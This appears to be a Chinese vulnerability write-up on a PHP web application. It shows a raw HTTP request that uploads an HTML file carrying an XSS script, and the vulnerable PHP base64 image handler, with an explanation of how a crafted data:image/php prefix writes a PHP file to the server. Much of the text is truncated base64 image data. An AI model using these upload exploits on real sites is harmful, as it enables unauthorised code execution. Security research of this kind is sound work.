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 truncated
<div class=highlight><pre><span></span><span class=x>POST /upload.php?dir=file HTTP/1.1</span>
<span class=x>Host: 192.168.19.25:8888</span>
<span class=x>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0</span>
<span class=x>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8</span>
<span class=x>Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span>
<span class=x>Accept-Encoding: gzip, deflate</span>
<span class=x>Connection: close</span>
<span class=x>Cookie: PHPSESSID=eb570d137174d94106f5bc0a</span>
<span class=x>Upgrade-Insecure-Requests: 1</span>
<span class=x>Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywlAMbJmcCIjUNS80</span>
<span class=x>Content-Length: 178</span>
<span class=x>------WebKitFormBoundarywlAMbJmcCIjUNS80</span>
<span class=x>Content-Disposition: form-data; name="file";filename="1.html"</span>
<span class=x>&lt;script&gt;alert(1)&lt;/script&gt;</span>
<span class=x>------WebKitFormBoundarywlAMbJmcCIjUNS80--</span>
</pre></div>
<h2 id=toc-2><strong>前台文件上传漏洞</strong></h2>
<p>这个未授权的文件很有意思,本意应该是想使用base64编码功能去写入图片,但是稍加修改即可传入恶意文件。<br>
<a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095243-927fa51a-cec9-1.png><img src=data:image/png;base64,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 truncated
传入的$img前面必须要是以data:image/文件格式;base64,开头 然后后面跟上base64编码即可。然后$result[2]就是正则表达式中第二个()的部分,即为\w+ $result[1]就是最外面的括号即正则匹配部分data:image/php;base64, 所以直接写入就OK了,提一嘴本来想写入的是&lt;?php phpinfo();?&gt; 但是不知道为啥写入后自动去掉了&gt; 所以索性直接传&lt;?php phpinfo();</p>
<div class=highlight><pre><span></span><span class=cp>&lt;?php</span>
<span class=nv>$img</span> <span class=o>=</span> <span class=nv>$_POST</span><span class=p>[</span><span class=s1>'imgbase64'</span><span class=p>];</span>
<span class=k>if</span> <span class=p>(</span><span class=nb>preg_match</span><span class=p>(</span><span class=s1>'/^(data:\s*image\/(\w+);base64,)/'</span><span class=p>,</span> <span class=nv>$img</span><span class=p>,</span> <span class=nv>$result</span><span class=p>))</span> <span class=p>{</span>
<span class=nv>$type</span> <span class=o>=</span> <span class=s2>"."</span><span class=o>.</span><span class=nv>$result</span><span class=p>[</span><span class=mi>2</span><span class=p>];</span>
<span class=nv>$path</span> <span class=o>=</span> <span class=s2>"upload/"</span> <span class=o>.</span> <span class=nb>date</span><span class=p>(</span><span class=s2>"Y-m-d"</span><span class=p>)</span> <span class=o>.</span> <span class=s2>"-"</span> <span class=o>.</span> <span class=nb>uniqid</span><span class=p>()</span> <span class=o>.</span> <span class=nv>$type</span><span class=p>;</span>
<span class=p>}</span>
<span class=nv>$img</span> <span class=o>=</span> <span class=nb>base64_decode</span><span class=p>(</span><span class=nb>str_replace</span><span class=p>(</span><span class=nv>$result</span><span class=p>[</span><span class=mi>1</span><span class=p>],</span> <span class=s1>''</span><span class=p>,</span> <span class=nv>$img</span><span class=p>));</span>
<span class=o>@</span><span class=nb>file_put_contents</span><span class=p>(</span><span class=nv>$path</span><span class=p>,</span> <span class=nv>$img</span><span class=p>);</span>
<span class=k>exit</span><span class=p>(</span><span class=s1>'{"src":"'</span><span class=o>.</span><span class=nv>$path</span><span class=o>.</span><span class=s1>'"}'</span><span class=p>);</span>
</pre></div>
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095318-a76319e4-cec9-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABHgAAAHZCAYAAAD9ioyvAAEAAElEQVR4nOzdd1gUxxsH8C+IGnuJDTUKFhSsEAsWUIhYYi+IvRtLVMSKEEAs2BXjzxqixoYdRWMJCvbeFREUEKX3Jh3m9wdy3rJ3sHfccYDv53l49OZmZ2bL7b43tzujhrOMfWj3Aowx5OTkwMfHHwMHjUCxC/8Eta//ZQ2aFJhVLfwTgCZgDQCEH0a51Ttzl+28GVlTekpY4hPUwgE0aAKm0PZ8LRcCys4rT5Y2EEIIIUQmGhoaEtOzsrI4r8tf4OfLHJzFSysyBcQTagcNUe4xALRCjt0/yGmQLxYq1LfyC4uxZCNHHKTwNhBCCCHfB2kxzvXLlwEAvczMIDmHKsjQ8SF7YCA0AJK1PTKUSx07hBBCyPdH0fHEV7LFQnLEQYoul+IgQgghROk0/Nu/BKMrLiGEEEK+I0q5W4cQQgghRIXUVd0AQgghhBBCCCGEEFI0JecRLXk16IWcWdq5/69Hz3QTQgghpIzpvxnZBl//r5RHrQghhBBSFmhcvL8XET/2x8imjVC1nKqbI48mYO2pY4cQQgghZRNr0JM6dgghhBBSKPXnfp64ER6N9BwaiIcQQgghhBBCCCGkNFJXVwPU1NQKz0kIIYQQQgghhBBCSiT1H6CGyhoVqJOHEEIIIYQQQgghpJRSr1ZRDTUqVoI6qIOHEEIIIYQQQgghpDTS6Nt9IZKrNUBVDTUANA4PIYQQQgghhBBCSGmjofVTVzDGwBhDTo6qm0MIIYQQQgghhBBCZBEVFQV1VTeCEEIIIYQQQgghhMivbt263zp4GKPHswghhBBCCCGEEEJKI7qDhxBCCCGEEEIIIaSUow4eQgghhBBCCCGEkFKOOngIIYQQQgghhBBCSjnq4CGEEEIIIYQQQggp5aiDhxBCCCGEEEIIIaSUow4eQgghhBBCCCGEkFJOQ56FPgYGKrodJdrATXdU3YQi8d41UXBeVe1bLW1twXm/t+OvpJBlHxFCSGnUZu5hVTehWP27tKeqm0CUpDTEVaWhjd87iv0IKX1kvoOHTrClj9CAVZX7VmjddPypDm17QkhZ9r117pCyrTTEVaWhjd872vaElD4ydfDQh7z0KixwLQn79mNgYIHtKAlt/N4Vto8IIaS0aTP3MHXukDKpsJiqJFzPC2tDSWjj9472ASGlC43BQwghhBBCCCGEEFLKaZQrVw2MMaip5YAxBnX1iqpuEyGEEEIIIYQQQgiRgQbUygFggJra13/pph5CCCGEEEIIIYSQ0oR6cwiRWRAOWOigpcVBBKm6KYQQQggpZSiOKH1onxFCSge5pkkvVNhTnH8cwkuu3toEJjrVFFUJnrg/RhKvTGnpytdm+HCcHVAzX2o8/l7lho3BxdoUJbgFO50Z8LPxwIkpTVXdGMGCDlqgj9NzGMjd7tK53oQQQhSsiyl8Z/CvA4GXz6G/W5yCKtHGnn29ocUrU1p68ci7lnLpw8bjBKaWoktjWVmP4lF64x+K/Qgh3zMl3sFTHa1NhmDokK9/Jq2Bd144/zRMMcUnJSFJlvRiE4Tlvx1Aq69/y1/UxHT74VjWWKWNUgBjzLDRx7PLXqXol4sgeF7ODeTkbndQAPx4iU0x9YQf3p+YgtJ+2U9ISMDHjx/x8eNHVTeFEEJKgXj8verbNb7VqpfAgGHwnautmOIb14KWLOnFygJ/+/nh/de/vy2ew8nMAgdKT1DwVVlZD2UrjXEfQLEfIeR7V3yPaFXTQafW1YEQX/iqtgemWJ3bdQNeqAnTzrVU3ZQia2oyAAbPneByS9UtEeiWC5yeAwb6+sDzy/AsXRGK3PwD/JGcnKzqZhBCSNkX/AyLL8cDHTuWgR9yZGO82gVj8BxXvEr3xbWsrIcylLq4D6DYT4C8H/cIIWVTsY7BU60a95GpsKfuOH/DD0lhT3He/ev/895M8oOXu3tuurs7586fsKfuOO/1DokAEt954by7O7z8kgpOd3+K/PcOiepX4jrn0dasyXndZvhw+O6b+u1P7Ne/YXOnwnefKYaJL9DFFL77puLKcPGOolpYtmqq4n45LEzTKfjdAji+U/Lzx7fsdNBSxw63cAt2Ojpomfdnp5rI4JbHCUDfBhtP/F5I8Pb1ueq89n59vvqWnQ5amjnhGYBnTmZoqaMDi4NBkP4cdr711tFB/lUXvo247+fWW7jo6CjY2FjjDzsbxMXFIS5O+q38kZGRsLG1hvWKZbBesYw6hQghRA7eIQmc18PmToXvKgO0+Xrd9l1lgDZ5bzY2wJWCrv32HaANQHvAMNE1v8D0/LGCeP3KW2WOZ/7c61PQQQvOdVD8+vbtGijmlp2E69zX62wxxg/51wNBB2FRwHVappjn6zpKiw1kqtPiIILyylP2eDClLO4Dvr/YLzo6ihf7FUQ89ktOTqbYj5AySB0AGGOiBPH/K1pSUhKAaqjO6ecJxRPfajAdMgRDe+ugGpDbueP1Dmht8vURr85oFPJY1Mmj+XPuI1/VkTuuz9AhQ2CiU016esNGAEIQwunhCUNICFC9oSaUOlLP19uqA8Piv6V1McUW3ODc4h3Ysbeo8+bckyAANaAj9mtgm0Y1AOTvKKqJZg0AryeBylwDDuMZNjAo8BeRE5iu4wGzvNufXSyAEzMEd1Aozi14nAAMBpigKYxhZgE8c3IBL+QIOggLHTM46biIbtd+vxHwvAUYr/bDew8bGAAwsPHAez8/6c9i37JDy6/Pa78XW/fjMyRdoAvbRrnPfh+3+NamjfDit12C2rV/RKdOnREaGgrHVQ5wXOUg8WIfGRkJx1UOiIqKQo8ePdGjR09UqVJFQA2EEELE5V6fE+DHGWuvKbYMiseI3w6glf0zeAO5nTv2HYDL575e/2/Aq2NvUSfPuV1f4wHkjuvT6rcD6O8WJz39SRCApujfRbxebfTvCAQ+D8ytU5m+PsZi0FzsunjLDsuw8dt10MMGBmLXN2MzCwB+EO9LCQrIfRiG28EShIDnwBgzY2WvheT1CDoICzMnQHRNd8GYEzMkfCEXEPPcskPLGSdEccR7Pz+YeZiBNxSQ4DovY9nO5rjmVzyPC5WeuA/4HmO/2rV/5MV+kn7gi4yM5MV+VapUodiPkDKo+O7gCXsKz3eJqN5aB5ri6YlAw591xDpZkuD79B0Sq7dGJ9EgyZro1LmR/I93aTZEI+R1MOW1JxQhqI6Gmsrs3qmFZb91gHb4SywWHxTxkSd3kMTgQHiGA9r62rm/uD0KzPdYVy0M1K+JwPB4oKP2t1/rumjDBEG48kiJq5BfUxP0138OJ6n36+rDxmM1RCGZ8QzY6BfhOWh53fLAcVjg968XZeMZNjDACXhwmh2EA8uc8EzfBtdWiwWRTadgqkwxZRAO7DwBWLhwgwDj1fhbYnBRyDb6GmyKB7ZNp0yBkCapq6vDauEidO7cBaGhoZyLPcC/wBsZGeP3ufPw+9x5UFNTk2WlCSGEdDHF2QE1EXj5Oc6JpzcAPPc9E+tkkRQPBGK2S5D8j3c9CoQXAK1GYnf2dtGGCeLh+VjZAzF/u35uzHfd41wHm5qgv/j1zdgs310VueOlGOjrAyc8vl0rv17Dld+/I2k9JKUZY7WLBXBiZ76xegqLeSTHB7mPhRXWDil1Pgf6byzGcWBKS9wHfJexn7q6Oi/2y/8DX17clz/2U1NTo9iPkDJIiR08iXjnJfaI1eMktDYZImFmq3x39CSFITRRwp01VauhOhKRJNedhJpo1AhIDA0TPY4VFhoCNGqFVgrv32mKDaLbr4eh2UWxX+8k0saefcMwvYF4WjwCwsXv1qmJZg3i4bnvBbzE7uxp06gGEB6P94pehQI1xdTfLbiBGIcOmjfl5m+uUywNE5N30TX7dmHMu82Yc5XP/YUw95eeolTnhSvP8/3695WkXysL3UZNm0EHwPEZdoLu2hHqna+vxAt8XnBACCGkMDUx3V7sEasZNfD3qgMSZrbKd0dPY22YNpBwZ01oPAJRE80aytOWQFx5IfbjEIBhnZoCL14oaebOE5guenzEDAG/F3YHyS3Y6eS/U6UpmumL360ThIDn+ui/8XeMEbtWBgX4AfrNldSJUch65F3T88cGTZvDAM8RIMv1XGp8kLsdePnkqlPZSkPcB1DsRwghuZQzTTqA3Fm0ehfegVK9GqpKSE5854Xz7/jp8vbHaDZsBDwORWiSDlpVy308q1FnzcIXlFkQlv/miXPIfQ5+w4zhWBaab5p0zlSrubNuXZk7FRtEnTxx+Pd5PKYP0MYwBOJcF22YhAdhR3A8Bobn3tmzMRi5d/U8v6H827DzMzbDGMzAzoMzYFwSp4/8etHF8xloeSL/mztxYIZx7nSoX38t0WmmmHWQXs7X4ExwNcZY7WEDPzMnTNc5AVmncNXQ0IDVwkXY5rwVAPD48SM4rnLA7Nm/C20AIYQQieLx9yq3wjtQpPz4oj1gGHwH8NM/ytmac0+CsGFGUwxs/AzewbmPZ3m5KOuxbQv87Zd7B8ItOx1Mn2GBZvmvTV8fR/qW3w9mdjqYLpqSqClMB+jDyckDt1Ybw/iWB47rD8C1pk0B/dw7e6ZOQe5dPQM2KqmDR8B64Ov4K078peXpuxAaZwiqU2kdXwUo6XEfQLGfWOz3+HHurf15sd+OHc6IiooCAM6Pe4SQskmJHTxF06jzEHRSZP+LZkM0wmOEhiWhVXIoQtAIXZTRvyPm3K5z0Fk1DNN/M8C/ort4tLFnRlMEXj7H+cVvWL5lvR8HIXBAU+g0zv1FLvD5c3gjDngej+n62mjjFpd7V4/Sb8OWJHfqzD6XvRA0peRNFxnkdTn31lveL4u5Line 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<a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219095325-ab4cab4c-cec9-1.png title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABPEAAAMzCAYAAADH2oepAAEAAElEQVR4nOzdeZwcdZ34/1dVX9M995XJNQc5ZnJwJNw5REIIsiAJBFkXVBAQD1b5ri7CKvtV9PfNIoHVFVxUMLjgCqwIkkBUCAEWM1xCwmGSmUyOyRw55r76Pur3R091anqqrzkyk/B++sgDp7u6+tN117ven89b8fuDGpOA1+uf6CYIIYQQQgghTmIulwObzTrRzRgTwWAIj+fkuIdyOh0T3QQhxAnAbh9+/O745k8p3neE0GUXoM2uSDkPtXY7lu270B78Fmpl6bD3A4HQmLR1vJwcZ7A4dXV1PPXkUzQ1NVNRUc4/XPsPzJs3b6KbRXt7B5s2bqS5uZmmpmZcLieLFy9m9Zo1lJaWTHTzhBBCCCGEOKlZrZaJbsKYOZ6/xe320NzcRHl5BdnZruP2veLk09TUwoMP/pJvfOMrVFTMnOjmiJOBRQFCaLPLCZ+9MOXkyr5GIARu73i3bEQ0TUNRFABCoRB+v49gMIiiqDgcjpMriFdXV8fG5zZRX18PQE1NDfX19ay/9z5qampYc+XqCQvmHTzYxH3r1+PxeHE6s6ipqaGp6SC1tW+wY8cOvv6Nr0+KQKMQQgghhBCjVVdXR11dfdJprrxyTez/P/fcxqTTlpSUsHz5slG3S78xOhkcr99ivI9xuZx8+447qKxMne0ihBmv10NnZxder2eimzJiHo+HHTs+pKOja8jrixefPqkDk9u2vUVn57E2z5s3h5qa6gls0dhwlOSj7NmPpfZt1H37U06v1u9DIYiyYGKPY5qmEYlEUFUVRVHQNI1wOIzVaiUcDtPf30coFCQUCqEoCgMDAwSDwZMjiNfe3sFTTz7Fjh07AFi2bGksu03PfqutfYP199435L3xorR3o7myINsJRJ9c3bd+PZqmcdPNNw25ANm2rZYnn3iCnz34M75/992SkSeEEEIIIU54dXX1bHnpJSoqKoe919HRQWdn55Ag3qaNmyguLqakZPi1cFPTQSoqKsckiCcy99STT+HxeFm9ZjWbNm7iqSef4s5/uWOimyXEcdfU1MKTT/6e+voG0/c3btxMcXERV155OcuWnX+cW5dabe2b1Nfvjf2taZedFEG87E8vI1L7DpbtO9L/0Kzy8WtQGvRsO4vlWEa1oihYrdEQXXt7G7m5OeTkZBOJRPD5fINZef4TO4hnDNBBNPPuH679hyFPhkpLS7j5SzezbPkyNj63idraN6itfYNVqy5m9Zo145IObv/mj9EqpxL47k2Q7aS2dhsej5d/uPazwy4+9L8f3fAomzZu5OYv3Tzm7RFCCCGEEOJ4q6ioNA32PPfcRjZt3DTs9WXLlw0J7Onu/dH6cWmfSK29vYP6+noWLVrElVeuoelgE++//z7t7R2SfCA+Vp57bjObNv0RgJqaOSxbtoTS0iLKy2fS3NyC2+1lx44P2b79AzZs+A0vvfQKd975T7hc0v18vKmnzuFoQKPMEU77M56zT2Ui14yiKPT0dPPOO39l7949tLW1Y7fbmDu3hpqauZxyyilomobVasVisaAoCn6/H1VVT9wg3rZttTy64VGAtLrKzps3j3n/Mo+6ujo2/OpRtmx5mdraWv7h2mvH/Kle5BOLUf+yA/u/PUrguzdxySWX0NHewSWXXGI6/fLly3jy